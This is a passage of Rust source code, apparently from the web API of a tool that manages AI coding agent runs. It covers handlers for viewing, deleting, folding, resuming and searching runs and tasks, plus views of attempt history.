3308 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3309 prose_md: run_prose_md(&state),
3310 origin_label: crate::run::origin_label(state.origin.as_ref()),
3311 live,
3312 unmerged_by_design: state.unmerged_by_design(),
3313 done: state.status.done(),
3314 superseded_by,
3315 latest_attempt,
3316 task,
3317 state,
3318 }
3319 }
3320}
3321
3322async fn run_detail(
3323 State(ui): State<Arc<Ui>>,
3324 Path(id): Path<String>,
3325) -> ApiResult<Json<RunDetailView>> {
3326 blocking(move || {
3327 let id = resolve_run(&ui.runs, &id)?;
3328 let state = read_run(&ui.runs, &id)?;
3329 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3330 let live = state.liveness(daemon_claims);
3331 let superseded_by = ui
3332 .queue
3333 .superseded_by(&id)
3334 .as_deref()
3335 .map(crate::run::short_of)
3336 .map(str::to_owned);
3337 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3341 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3342 short: head.short().to_owned(),
3343 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3344 status: head.status,
3345 done: head.status.done(),
3346 id: head.id,
3347 })
3348 });
3349 let max_attempts = daemon::Opts::default().max_attempts;
3350 let task = ui
3351 .queue
3352 .list()
3353 .into_iter()
3354 .find(|t| t.runs.contains(&id))
3355 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3356 Ok(Json(RunDetailView::of(
3357 state,
3358 live,
3359 superseded_by,
3360 latest_attempt,
3361 task,
3362 )))
3363 })
3364 .await
3365}
3366
3367async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3376 let (id, unreadable) = {
3377 let ui = Arc::clone(&ui);
3378 blocking(move || {
3379 let id = resolve_run(&ui.runs, &id)?;
3380 match read_run(&ui.runs, &id) {
3381 Ok(state) => {
3382 let in_flight =
3383 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3384 state
3385 .ensure_can_delete(in_flight)
3386 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3387 let dir = ui.runs.join(&id);
3388 std::fs::remove_dir_all(&dir)
3389 .with_context(|| format!("remove run directory {}", dir.display()))?;
3390 Ok((id, false))
3391 }
3392 Err(_) => {
3393 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3397 return Err(ApiError::conflict(format!(
3398 "run {id} is being worked on by a live daemon right now"
3399 )));
3400 }
3401 Ok((id, true))
3402 }
3403 }
3404 })
3405 .await?
3406 };
3407 if unreadable {
3408 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3409 .await
3410 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3411 }
3412 let ui = Arc::clone(&ui);
3413 let done = id.clone();
3414 blocking(move || {
3415 ui.questions.abandon_for_run(
3418 &done,
3419 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3420 )?;
3421 Ok(())
3422 })
3423 .await?;
3424 Ok(StatusCode::NO_CONTENT)
3425}
3426
3427async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3451 let (id, state) = {
3452 let ui = Arc::clone(&ui);
3453 blocking(move || {
3454 let id = resolve_run(&ui.runs, &id)?;
3455 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3456 return Err(ApiError::conflict(format!(
3457 "run {id} is being worked on by a live daemon right now"
3458 )));
3459 }
3460 let state = read_run(&ui.runs, &id).ok();
3461 Ok((id, state))
3462 })
3463 .await?
3464 };
3465 let removed = match state {
3466 Some(mut state) => {
3467 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3468 .await
3469 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3470 if removed.is_empty() {
3475 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3476 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3477 }
3478 removed
3479 }
3480 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3481 .await
3482 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3483 };
3484 Ok(Json(FoldView {
3485 run: id,
3486 removed_count: removed.len(),
3487 removed,
3488 }))
3489}
3490
3491#[derive(Debug, Serialize)]
3493struct FoldView {
3494 run: String,
3495 removed: Vec<String>,
3497 removed_count: usize,
3498}
3499
3500#[derive(Debug, Deserialize)]
3503struct FoldMergedBody {
3504 #[serde(default)]
3505 pr_url: String,
3506}
3507
3508async fn run_fold_merged(
3528 State(ui): State<Arc<Ui>>,
3529 Path(id): Path<String>,
3530 Json(body): Json<FoldMergedBody>,
3531) -> ApiResult<Json<FoldMergedView>> {
3532 let pr_url = body.pr_url.trim().to_owned();
3533 if pr_url.is_empty() {
3534 return Err(ApiError::bad_request("pr_url is required"));
3535 }
3536 let (id, mut state) = {
3537 let ui = Arc::clone(&ui);
3538 blocking(move || {
3539 let id = resolve_run(&ui.runs, &id)?;
3540 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3541 return Err(ApiError::conflict(format!(
3542 "run {id} is being worked on by a live daemon right now"
3543 )));
3544 }
3545 let state = read_run(&ui.runs, &id)?;
3546 Ok((id, state))
3547 })
3548 .await?
3549 };
3550 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3551 .await
3552 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3553 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3554 .await
3555 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3556 Ok(Json(FoldMergedView {
3557 run: id,
3558 before: before.as_str().to_owned(),
3559 after: after.as_str().to_owned(),
3560 removed,
3561 }))
3562}
3563
3564#[derive(Debug, Serialize)]
3566struct FoldMergedView {
3567 run: String,
3568 before: String,
3570 after: String,
3572 removed: Vec<String>,
3574}
3575
3576async fn run_resume(
3596 State(ui): State<Arc<Ui>>,
3597 Path(id): Path<String>,
3598) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3599 let (id, state) = {
3600 let ui = Arc::clone(&ui);
3601 blocking(move || {
3602 let id = resolve_run(&ui.runs, &id)?;
3603 let state = read_run(&ui.runs, &id)?;
3604 Ok((id, state))
3605 })
3606 .await?
3607 };
3608 if let Some(to) = &state.released_to {
3609 return Err(ApiError::conflict(format!(
3610 "run {} can no longer be resumed: its worktree was released to run {}, which \
3611 took the branch over.",
3612 state.short(),
3613 crate::run::short_of(to)
3614 )));
3615 }
3616 if !state.status.resumable() {
3617 return Err(ApiError::conflict(format!(
3618 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3619 state.short(),
3620 status_word(state.status)
3621 )));
3622 }
3623 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3628 .into_iter()
3629 .next()
3630 {
3631 return Err(ApiError::conflict(format!(
3632 "the loop is running run {} right now; stop it first, or wait for \
3633 it to finish, before resuming a run by hand.",
3634 crate::run::short_of(&work.run)
3635 )));
3636 }
3637 let _resume = ui.begin_resume(&id)?;
3638
3639 let queued = RunSummary::of(
3642 &state,
3643 !ui.questions.open_for(&id).is_empty(),
3644 state.liveness(false),
3645 );
3646 let run = id.clone();
3647 tokio::spawn(async move {
3648 let _resume = _resume;
3649 match crate::graph::Runner::resume(&run) {
3650 Ok(mut runner) => {
3651 if let Err(e) = runner.execute().await {
3652 tracing::warn!("resume of run {run} stopped: {e:#}");
3653 }
3654 }
3655 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3658 }
3659 });
3660 Ok((StatusCode::ACCEPTED, Json(queued)))
3661}
3662
3663async fn run_report(
3664 State(ui): State<Arc<Ui>>,
3665 Path(id): Path<String>,
3666) -> ApiResult<impl IntoResponse> {
3667 let text = blocking(move || {
3668 let id = resolve_run(&ui.runs, &id)?;
3669 let state = read_run(&ui.runs, &id)?;
3673 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3674 let live = state.liveness(daemon_claims);
3675 Ok(format!(
3676 "{}{}",
3677 report::run(&state),
3678 report::active_seats(&state, live)
3679 ))
3680 })
3681 .await?;
3682 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3683}
3684
3685async fn run_report_json(
3689 State(ui): State<Arc<Ui>>,
3690 Path(id): Path<String>,
3691) -> ApiResult<Json<crate::report_view::RunReportView>> {
3692 let view = blocking(move || {
3693 let id = resolve_run(&ui.runs, &id)?;
3694 let state = read_run(&ui.runs, &id)?;
3695 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3696 Ok(crate::report_view::build(
3697 &state,
3698 state.liveness(daemon_claims),
3699 ))
3700 })
3701 .await?;
3702 Ok(Json(view))
3703}
3704
3705#[derive(Debug, Serialize)]
3711struct TaskView {
3712 #[serde(flatten)]
3713 task: Task,
3714 source_label: String,
3715 source_link: Option<SourceLink>,
3716 status_str: &'static str,
3717 instruction_md: Vec<md::Node>,
3721 waits_on: Vec<String>,
3725 stuck_roots: Vec<String>,
3728}
3729
3730impl From<Task> for TaskView {
3731 fn from(task: Task) -> Self {
3732 Self {
3733 source_label: task.source.label(),
3734 source_link: source_link(&task.source),
3735 status_str: task.status.as_str(),
3736 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3737 waits_on: Vec::new(),
3738 stuck_roots: Vec::new(),
3739 task,
3740 }
3741 }
3742}
3743
3744impl TaskView {
3745 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3746 let waits_on = inv.waits_on(&task);
3747 let stuck_roots = inv
3748 .stuck_roots(&task)
3749 .iter()
3750 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3751 .collect();
3752 Self {
3753 waits_on,
3754 stuck_roots,
3755 ..Self::from(task)
3756 }
3757 }
3758}
3759
3760#[derive(Debug, Default, Deserialize)]
3763#[serde(default)]
3764struct ReposQuery {
3765 refresh: u8,
3766}
3767
3768async fn repos_list(
3775 State(ui): State<Arc<Ui>>,
3776 Query(q): Query<ReposQuery>,
3777) -> ApiResult<Json<Vec<repos::Repo>>> {
3778 let refresh = q.refresh != 0;
3779 blocking(move || {
3780 let (cfg, _) = Config::discover(&ui.repo, None)?;
3781 Ok(Json(ui.repos_cache.list(
3782 &cfg.repos.roots,
3783 Duration::from_secs(cfg.repos.scan_ttl),
3784 refresh,
3785 )))
3786 })
3787 .await
3788}
3789
3790async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3794 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3795}
3796
3797#[derive(Debug, Deserialize)]
3799#[serde(deny_unknown_fields)]
3800struct RolesBody {
3801 revision: String,
3803 #[serde(default)]
3805 roles: std::collections::BTreeMap<String, Vec<String>>,
3806 #[serde(default)]
3810 counts: std::collections::BTreeMap<String, serde_json::Value>,
3811}
3812
3813async fn settings_put_roles(
3819 State(ui): State<Arc<Ui>>,
3820 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3821) -> ApiResult<Json<settings::SettingsView>> {
3822 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3823 blocking(move || {
3824 settings::save(
3825 &ui.repo,
3826 ui.machine_config.as_deref(),
3827 &body.revision,
3828 &body.roles,
3829 &body.counts,
3830 )
3831 .map(Json)
3832 .map_err(|e| match e {
3833 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3834 settings::SaveError::Refused(m) => ApiError {
3835 status: StatusCode::UNPROCESSABLE_ENTITY,
3836 message: m,
3837 },
3838 settings::SaveError::Internal(m) => ApiError::internal(m),
3839 })
3840 })
3841 .await
3842}
3843
3844async fn queue_list(
3845 State(ui): State<Arc<Ui>>,
3846 Query(q): Query<ListQuery>,
3847) -> ApiResult<Json<Vec<TaskView>>> {
3848 blocking(move || {
3849 let tasks = ui.queue.list();
3850 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3851 Ok(Json(
3852 tasks
3853 .into_iter()
3854 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3855 .map(|t| TaskView::with_inventory(t, &inv))
3856 .collect(),
3857 ))
3858 })
3859 .await
3860}
3861
3862const SEARCH_MAX_HITS: usize = 100;
3864const SEARCH_MAX_QUERY: usize = 200;
3866const SEARCH_MAX_TERMS: usize = 8;
3867const SNIPPET_BEFORE: usize = 50;
3869const SNIPPET_AFTER: usize = 110;
3870
3871#[derive(Debug, Deserialize)]
3873struct SearchQuery {
3874 #[serde(default)]
3875 scope: String,
3876 #[serde(default)]
3877 q: String,
3878}
3879
3880#[derive(Debug, Serialize, PartialEq, Eq)]
3883struct SnippetPart {
3884 text: String,
3885 hit: bool,
3886}
3887
3888#[derive(Debug, Serialize)]
3889struct SearchHit {
3890 id: String,
3891 field: String,
3893 snippet: Vec<SnippetPart>,
3894 #[serde(skip_serializing_if = "Option::is_none")]
3898 run: Option<RunSummary>,
3899}
3900
3901#[derive(Debug, Serialize)]
3902struct SearchView {
3903 scope: String,
3904 q: String,
3905 hits: Vec<SearchHit>,
3907 total: usize,
3909 truncated: bool,
3910 unreadable: usize,
3913}
3914
3915fn text_leaves<'a>(
3918 value: &'a serde_json::Value,
3919 field: &'a str,
3920 out: &mut Vec<(&'a str, &'a str)>,
3921) {
3922 match value {
3923 serde_json::Value::String(s) => out.push((field, s)),
3924 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3925 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3926 _ => {}
3927 }
3928}
3929
3930fn fold_char(c: char) -> char {
3933 c.to_lowercase().next().unwrap_or(c)
3934}
3935
3936fn search_terms(q: &str) -> Vec<String> {
3938 let mut terms: Vec<String> = Vec::new();
3939 for t in q.split_whitespace() {
3940 let t = t.to_lowercase();
3941 if !terms.contains(&t) {
3942 terms.push(t);
3943 }
3944 }
3945 terms
3946}
3947
3948fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3951 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3952 let mut first: Option<usize> = None;
3953 for term in terms {
3954 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3955 first = Some(first.map_or(at, |f| f.min(at)));
3956 }
3957 let (field, text) = leaves[first?];
3959 Some(SearchHit {
3960 id: String::new(),
3961 field: field.to_owned(),
3962 snippet: snippet_of(text, terms),
3963 run: None,
3964 })
3965}
3966
3967fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3970 let chars: Vec<char> = text.chars().collect();
3971 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3972 let needles: Vec<Vec<char>> = terms
3973 .iter()
3974 .map(|t| t.chars().map(fold_char).collect())
3975 .collect();
3976 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3977 let mut best: Option<(usize, usize)> = None;
3978 for n in needles.iter().filter(|n| !n.is_empty()) {
3979 if n.len() > chars.len() || to == 0 {
3983 continue;
3984 }
3985 let last = (to - 1).min(chars.len() - n.len());
3986 if from > last {
3987 continue;
3988 }
3989 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3990 && best.is_none_or(|(b, _)| i < b)
3991 {
3992 best = Some((i, i + n.len()));
3993 }
3994 }
3995 best
3996 };
3997 let Some((start, _)) = find(0, chars.len()) else {
3998 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4000 return vec![SnippetPart {
4001 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4002 hit: false,
4003 }];
4004 };
4005 let lo = start.saturating_sub(SNIPPET_BEFORE);
4006 let hi = (start + SNIPPET_AFTER).min(chars.len());
4007 let mut parts: Vec<SnippetPart> = Vec::new();
4008 let mut push = |s: &[char], hit: bool| {
4009 if s.is_empty() {
4010 return;
4011 }
4012 let text: String = s.iter().collect();
4013 match parts.last_mut() {
4014 Some(p) if p.hit == hit => p.text.push_str(&text),
4015 _ => parts.push(SnippetPart { text, hit }),
4016 }
4017 };
4018 if lo > 0 {
4019 push(&['\u{2026}'], false);
4020 }
4021 let mut at = lo;
4022 while at < hi {
4023 match find(at, hi) {
4024 Some((s, e)) => {
4025 push(&chars[at..s], false);
4026 let shown = e.min(hi);
4028 push(&chars[s..shown], true);
4029 at = shown;
4030 }
4031 None => {
4032 push(&chars[at..hi], false);
4033 at = hi;
4034 }
4035 }
4036 }
4037 if hi < chars.len() {
4038 push(&['\u{2026}'], false);
4039 }
4040 let mut prev_space = false;
4043 for p in &mut parts {
4044 let mut out = String::with_capacity(p.text.len());
4045 for c in p.text.chars() {
4046 if c.is_whitespace() {
4047 if !prev_space {
4048 out.push(' ');
4049 }
4050 prev_space = true;
4051 } else {
4052 out.push(c);
4053 prev_space = false;
4054 }
4055 }
4056 p.text = out;
4057 }
4058 parts.retain(|p| !p.text.is_empty());
4059 parts
4060}
4061
4062fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4064where
4065 I: IntoIterator<Item = (String, serde_json::Value)>,
4066{
4067 for (id, doc) in docs {
4068 let mut leaves = Vec::new();
4069 leaves.push(("id", id.as_str()));
4072 text_leaves(&doc, "", &mut leaves);
4073 if let Some(mut hit) = search_document(terms, &leaves) {
4074 view.total += 1;
4075 if view.hits.len() < SEARCH_MAX_HITS {
4076 hit.id = id;
4077 view.hits.push(hit);
4078 }
4079 }
4080 }
4081 view.truncated = view.total > view.hits.len();
4082}
4083
4084fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4091 let opener = talk
4092 .turns
4093 .iter()
4094 .find(|t| t.who == crate::talk::Who::Operator)
4095 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4096 .unwrap_or("");
4097 let title: String = if opener.chars().count() > 96 {
4098 opener.chars().take(95).chain(['\u{2026}']).collect()
4099 } else {
4100 opener.to_owned()
4101 };
4102 let turns: Vec<serde_json::Value> = talk
4103 .turns
4104 .iter()
4105 .map(|t| {
4106 let who = match t.who {
4107 crate::talk::Who::Operator => "operator",
4108 crate::talk::Who::Agent => "agent",
4109 };
4110 serde_json::json!({ who: t.body })
4111 })
4112 .collect();
4113 serde_json::json!({ "title": title, "turns": turns })
4114}
4115
4116async fn search_get(
4123 State(ui): State<Arc<Ui>>,
4124 Query(q): Query<SearchQuery>,
4125) -> ApiResult<Json<SearchView>> {
4126 let query = q.q.trim().to_owned();
4127 if query.is_empty() {
4128 return Err(ApiError::bad_request("q must not be empty"));
4129 }
4130 if query.chars().count() > SEARCH_MAX_QUERY {
4131 return Err(ApiError::bad_request(format!(
4132 "q is longer than {SEARCH_MAX_QUERY} characters"
4133 )));
4134 }
4135 let terms = search_terms(&query);
4136 if terms.len() > SEARCH_MAX_TERMS {
4137 return Err(ApiError::bad_request(format!(
4138 "q has more than {SEARCH_MAX_TERMS} terms"
4139 )));
4140 }
4141 let scope = q.scope;
4142 if scope != "runs" && scope != "tasks" && scope != "chats" {
4143 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4144 }
4145 blocking(move || {
4146 let mut view = SearchView {
4147 scope: scope.clone(),
4148 q: query,
4149 hits: Vec::new(),
4150 total: 0,
4151 truncated: false,
4152 unreadable: 0,
4153 };
4154 if scope == "runs" {
4155 let mut unreadable = 0;
4156 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4160 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4161 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4162 Some(v) => Some((id, v)),
4163 None => {
4164 unreadable += 1;
4165 None
4166 }
4167 }
4168 });
4169 search_docs(&terms, docs, &mut view);
4170 view.unreadable = unreadable;
4171 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4174 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4175 for hit in &mut view.hits {
4176 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4177 hit.run = summarize(
4178 [state],
4179 &open_runs,
4180 &claimed,
4181 &superseded,
4182 |p| probe.borrow_mut().status(p),
4183 |p| probe.borrow_mut().started_at(p),
4184 )
4185 .pop();
4186 }
4187 }
4188 } else if scope == "chats" {
4189 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4190 view.unreadable = unreadable;
4191 search_docs(
4192 &terms,
4193 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4194 &mut view,
4195 );
4196 } else {
4197 let docs = ui.queue.list().into_iter().filter_map(|t| {
4198 let mut v = serde_json::to_value(&t).ok()?;
4199 if let Some(o) = v.as_object_mut() {
4202 o.insert("filed_by".to_owned(), t.source.label().into());
4203 }
4204 Some((t.id, v))
4205 });
4206 search_docs(&terms, docs, &mut view);
4207 }
4208 Ok(Json(view))
4209 })
4210 .await
4211}
4212
4213#[derive(Debug, Serialize)]
4215struct TaskRunView {
4216 n: usize,
4218 id: String,
4219 short: String,
4220 kind: &'static str,
4222 status: Option<&'static str>,
4224 readable: bool,
4226 provisional: bool,
4228 description: String,
4230 outcome: String,
4232 created_at: Option<Timestamp>,
4233 pr: Option<String>,
4234 exit: RunExit,
4236 attempt: AttemptCost,
4238 branch: Option<String>,
4240}
4241
4242#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4244#[serde(rename_all = "snake_case")]
4245enum RunExit {
4246 Unreadable,
4247 Interrupted,
4249 Parked,
4250 QuotaStall,
4251 ResumedQuotaStall,
4255 Merged,
4256 Ready,
4257 Superseded,
4258 AlreadyInBase,
4261 Stalled,
4263 HeldWithPr,
4265 NoopHeld,
4266 Spent,
4268 InProgress,
4269}
4270
4271#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4272#[serde(rename_all = "snake_case")]
4273enum AttemptCost {
4274 Spent,
4275 Refunded,
4276 None,
4277 Unknown,
4279}
4280
4281impl RunExit {
4282 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4283 let Some(s) = s else {
4284 return Self::Unreadable;
4285 };
4286 let status = s.status;
4287 if resumed_later {
4288 Self::Interrupted
4289 } else if s.parked {
4290 Self::Parked
4291 } else if !status.done() {
4292 Self::InProgress
4293 } else if matches!(status, RunStatus::Merged) {
4294 Self::Merged
4295 } else if matches!(status, RunStatus::Ready) {
4296 Self::Ready
4297 } else if matches!(status, RunStatus::Superseded) {
4298 Self::Superseded
4299 } else if matches!(status, RunStatus::AlreadyInBase) {
4300 Self::AlreadyInBase
4301 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4302 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4303 {
4304 if resumed {
4305 Self::ResumedQuotaStall
4306 } else {
4307 Self::QuotaStall
4308 }
4309 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4310 Self::HeldWithPr
4311 } else if matches!(status, RunStatus::VerifiedNoop) {
4312 Self::NoopHeld
4313 } else if matches!(status, RunStatus::Stalled) {
4314 Self::Stalled
4315 } else {
4316 Self::Spent
4317 }
4318 }
4319
4320 fn cost(self) -> AttemptCost {
4321 match self {
4322 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4323 Self::Merged
4324 | Self::Ready
4325 | Self::Stalled
4326 | Self::HeldWithPr
4327 | Self::NoopHeld
4328 | Self::Spent => AttemptCost::Spent,
4329 Self::InProgress => AttemptCost::None,
4330 Self::AlreadyInBase => AttemptCost::Refunded,
4331 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4332 AttemptCost::Unknown
4333 }
4334 }
4335 }
4336
4337 fn edge_label(self, status: Option<&str>) -> String {
4339 match self {
4340 Self::Unreadable => "record unreadable".to_owned(),
4341 Self::Interrupted => "interrupted before the run finished".to_owned(),
4342 Self::Parked => "parked, attempt refunded".to_owned(),
4343 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4344 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4345 Self::Merged => "merged".to_owned(),
4346 Self::Ready => "ready, not merged".to_owned(),
4347 Self::Superseded => "superseded by a later attempt".to_owned(),
4348 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4349 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4350 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4351 Self::NoopHeld => "verified no-op".to_owned(),
4352 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4353 Self::InProgress => "in progress".to_owned(),
4354 }
4355 }
4356
4357 fn explains(self, end: TaskStatus) -> bool {
4360 match self {
4361 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4362 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4363 Self::Unreadable | Self::Superseded | Self::Ready => true,
4364 _ => end != TaskStatus::Done,
4365 }
4366 }
4367}
4368
4369#[derive(Debug, Serialize)]
4371struct TaskDetailView {
4372 #[serde(flatten)]
4373 task: TaskView,
4374 max_attempts: usize,
4377 history: Vec<TaskRunView>,
4378 flow: FlowView,
4379 followup_origin: Option<FollowUpOrigin>,
4381 runs_unreadable: usize,
4383 attempts_note: &'static str,
4385}
4386
4387const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4388and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4389on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4390in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4391
4392fn review_branch_of(instruction: &str) -> Option<&str> {
4395 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4396 rest.split('`').next().filter(|b| !b.is_empty())
4397}
4398
4399struct RunSlot<'a> {
4401 n: usize,
4403 resumed: bool,
4405 resumed_later: Option<usize>,
4407 prior: Option<(&'a str, RunStatus)>,
4409 last: bool,
4410}
4411
4412fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4415 let RunSlot {
4416 n,
4417 resumed,
4418 resumed_later,
4419 prior,
4420 last,
4421 } = at;
4422 let short = run::short_of(id).to_owned();
4423 let Some(s) = state else {
4424 return TaskRunView {
4425 n,
4426 id: id.to_owned(),
4427 short,
4428 kind: "unknown",
4429 status: None,
4430 readable: false,
4431 provisional: false,
4432 description:
4433 "This run's record could not be read by this build (written by a different \
4434 magi, or removed), so what kind of attempt it was is unknown."
4435 .to_owned(),
4436 outcome: String::new(),
4437 created_at: None,
4438 pr: None,
4439 exit: RunExit::Unreadable,
4440 attempt: AttemptCost::Unknown,
4441 branch: None,
4442 };
4443 };
4444 let branch = review_branch_of(&s.instruction);
4445 let kind = if resumed {
4446 "resume"
4447 } else if branch.is_some() {
4448 "review"
4449 } else if task.solo || s.candidates.len() == 1 {
4450 "solo"
4451 } else {
4452 "competition"
4453 };
4454 let mut description = match kind {
4455 "resume" => {
4456 format!("Resumed run {short}: the same run carried on instead of competing again.")
4457 }
4458 "review" => format!(
4459 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4460 branch.unwrap_or_default()
4461 ),
4462 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4463 _ => format!(
4464 "Competition: {} candidates judged blind.",
4465 s.candidates.len().max(1)
4466 ),
4467 };
4468 if !resumed && let Some((p, st)) = prior {
4469 description.push_str(&format!(
4470 " A retry: run {p} before it ended {}.",
4471 st.display_label()
4472 ));
4473 }
4474
4475 let status = s.status;
4476 let provisional = matches!(status, RunStatus::Stalled)
4477 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4478 let head = if resumed_later.is_some() {
4479 String::new()
4480 } else {
4481 match status {
4482 RunStatus::Merged => "Merged.".to_owned(),
4483 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4484 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4485 RunStatus::AlreadyInBase => {
4486 "Already in the base: this change landed under other commits, nothing was left to land."
4487 .to_owned()
4488 }
4489 RunStatus::Stalled => {
4490 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4491 .to_owned()
4492 }
4493 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4494 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4495 RunStatus::VerifiedNoop => {
4496 "Verified no-op: the candidates found nothing to change.".to_owned()
4497 }
4498 other if other.done() => format!("Ended {}.", other.display_label()),
4499 other => format!("In progress ({}).", other.display_label()),
4500 }
4501 };
4502 let why = if let Some(k) = resumed_later {
4503 let cause = if s.quota.is_empty() {
4510 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4511 } else {
4512 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4513 };
4514 format!(
4515 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4516 )
4517 } else if s.parked {
4518 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4519 .to_owned()
4520 } else if !status.done()
4521 || matches!(
4522 status,
4523 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4524 )
4525 {
4526 String::new()
4527 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4528 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4529 {
4530 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4531 .to_owned()
4532 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4533 " It left a pull request open, so the task was held for a person rather than retried."
4534 .to_owned()
